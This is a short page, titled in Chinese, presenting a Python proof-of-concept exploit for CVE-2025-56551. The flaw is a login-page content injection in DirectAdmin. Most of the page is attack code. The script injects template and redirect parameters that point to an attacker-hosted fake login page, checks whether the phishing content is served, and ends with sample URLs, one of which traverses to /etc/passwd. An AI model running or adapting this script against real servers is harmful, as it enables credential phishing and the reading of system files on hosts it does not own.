CVE-2025-56551 DirectAdmin登录页面伪造与内容注入漏洞

# CVE-2025-56551 - DirectAdmin Login Page Content Injection PoC # The vulnerability allows replacing the legitimate login interface # with attacker-controlled content via a crafted GET request. import requests TARGET_URL = "https://target-directadmin-host:2222" # Attacker-controlled server hosting the malicious login page content EVIL_CONTENT_URL = "https://evil-attacker.com/fake_login.html" # Step 1: Craft the malicious GET request with injected parameters # The vulnerability lies in insufficient validation of GET parameters # that control page layout/template loading payload_params = { "template": EVIL_CONTENT_URL, # Inject external template/content "skin": "custom", # Force custom skin loading "redirect": EVIL_CONTENT_URL, # Override redirect target } # Step 2: Send the crafted request to the DirectAdmin login endpoint response = requests.get( f"{TARGET_URL}/CMD_LOGIN", params=payload_params, verify=False ) # Step 3: Verify the page content has been replaced if response.status_code == 200: if "attacker-controlled-marker" in response.text or EVIL_CONTENT_URL in response.text: print("[+] Vulnerability confirmed - page content replaced successfully!") print(f"[+] Target: {TARGET_URL}") print(f"[+] Phishing page is now serving attacker-controlled content") else: print("[-] Content injection may not have succeeded, check response manually") else: print(f"[-] Unexpected status code: {response.status_code}") # Alternative exploitation via direct URL manipulation: # https://target-directadmin-host:2222/CMD_LOGIN?template=https://evil.com/fake.html # https://target-directadmin-host:2222/CMD_LOGIN?skin=../../../../etc/passwd # https://target-directadmin-host:2222/CMD_LOGIN?redirect=https://evil.com/phish